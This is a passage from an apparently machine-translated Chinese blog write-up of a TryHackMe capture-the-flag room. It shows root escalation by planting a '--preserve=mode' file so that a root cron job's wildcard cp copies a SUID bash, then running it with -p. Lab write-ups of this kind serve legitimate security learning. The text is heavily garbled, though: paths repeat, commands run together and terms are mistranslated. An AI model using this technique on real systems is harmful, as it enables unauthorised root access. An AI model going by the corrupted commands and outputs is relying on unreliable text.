2023/05/25 14:14:01 cmd:uid = 0 pid = 1764 | /bin/sh -c/usr/bin/ban/bash/usr/bin/backup 2023/05/25 14:14:01 cmd:uid = 0 pid = 1765 | /usr/bin/bash/usr/bin/backup

让我们看一下“/usr/bin/backup”。

Gordon@devie:〜$ cat/usr/bin/backup#!/bin/bash cd/home/home/gordon/reports/cp */home/home/gordon/backups/backups/backups/backups/backups/backups/

看来它们是使用通配符复制的。
如果您可以成功授予–preserve =模式,则可以在保留访问权限的同时复制,因此
似乎可以使用SUID权限复制Bash用户访问权限。

复制Bash,将SUID权限授予用户访问权限,并创建一个名为“ –preserve = Mode”的文件。

Gordon@devie:〜$ cd/home/home/gordon/报告gordon@devie:〜/报告$ cp/bin/bash。 Gordon@devie:〜/报告$ CHMOD U+S BASH GORDON@DEVIE:〜/报告$ echo''>' -  preserve = mode'gordon@devie@devie:〜/报告$ ls-ls-ls-ls-ls-lah总计120万drwxrwx ---- 2 Gordon Gordon Gordon Gordon Gordon Gordon Gordon 4.0k 4.0k 5月25日14:20。 drwxr-xr-x 5 gordon gordon 4.0K May 25 14:10 .. -rwsr-xr-x 1 gordon gordon 1.2M May 25 14:20 bash -rw-rw-r-- 1 gordon gordon 1 May 25 14:20 '--preserve=mode' -rw-r--r-- 1 640 gordon 57 Feb 19 23:31 report1 -rw-r--r-- 1 640 Gordon 72 2月19日23:32 Report2 -RW-R--R---R-- 1 640 Gordon 100 Feb 19 23:33 Report3 -RW-RW-RW-R- 1 Gordon Gordon 0 5月25日25 5月25日14:03 Test.txt

既然您要拥有它,请启动您的PSPY64并等待1分钟。

gordon@devie:〜$ ./pspy64 pspy-版本:v1.2.1- commits sha:f9e6a1590a4312b9faa093d8dc84e19567977a6d ▒██░▒██░▒██░▒██░██░▒██░██░██░▒██░▒██░▒██░██░██░▒██░▒██░▒██░██░██░▒██░▒██░██░██░▒██░▒██░▒██░▒██░▒██░██░██░▒██░▒██░████▒▒▒▒██▒██▄█▓▒░▒▐██▓░▐██▓░▐██▓░▐██▓░▐██▓░░░██▒▒▒▒▒▒██▒▒▒▒▒▒░░░ ░░░配置:打印事件(colored = true):processes = true |文件 - 系统 - 事件= false |||每100ms扫描一次进程,并进行求解事件|||观看目录:[ /usr /tmp /etc /home /var /opt](递归)| [](非恢复)由于启动而引起的排水文件系统事件...完成2023/05/25 14:24:34 cmd:uid = 1001 pid = 1834 | ./pspy64 ・・・2023/05/25 14:24:34 cmd:uid = 0 pid = 1 | /sbin/init可能 - 渗透2023/05/25 14:25:01 cmd:uid = 0 pid = 1842 | /usr/sbin/cron -f 2023/05/25 14:25:01 cmd:uid = 0 pid = 1843 | /bin/sh -c/usr/bin/bash/usr/bin/back/backup 2023/05/25 14:25:01 cmd:uid = 0 pid = 1845 | CP BASH -PRESERVE =模式Report1 Report2 Report2 test.txt/home/home/gordon/backups/backups/backups/ 

执行底线时,“ –preserve = mode”将作为选项执行,而不是文件。
因此,在背后,将复制带有根本授予的Suid特权的bash。

Gordon@devie:〜/备份$ ll总计1176 drwxrwx --- 2 Gordon Gordon 4096 5月25日25 14:21 ./ drwxr-xr-xr-x 5 Gordon Gordon 4096 25 14:10 ../ report1 -rw-r--r-- 1根根72 5月25日25 14:22 report2 -rw-r- r-- r-- 1根100 5月25日25 14:22 report3 -rw-rw-r-r- 1根根0 5月25日25 14:22 test.txt

让我们bash吧。
我成功地提高了根特权。

gordon@devie:〜/backups $ ./bash -p bash -5.0#whoami root

从 /root检查了root.txt后,您可以获得标志。

bash-5.0#cd /root bash-5.0#ls root.txt snap bash-5.0#cat root.txt thm {j0k3r $ _ar3_w1ld}

回答

概括

这次,我尝试使用Python的eval()函数进行命令注射。
这是我第一次进行命令注射,我为做到这一点而感到惊讶。

还使用XOR加密和SUID还有其他特权升级。您有时会使用SUID看到特权升级。
XOR加密在其他地方可用吗?我偶然发现了一点,所以我要报仇。

参考和站点

hacklido: https
decl: //vulnerable.sh/posts/posts/thm_devie/

如果愿意,请分享!

谁写了这篇文章

这是我开始研究信息安全的博客。作为一名新员工,如果您能宽阔地看着,我会很高兴。
还有Teech Lab,这是一个学习编程乐趣的机会,因此,如果您对软件开发感兴趣,请务必看看!

目录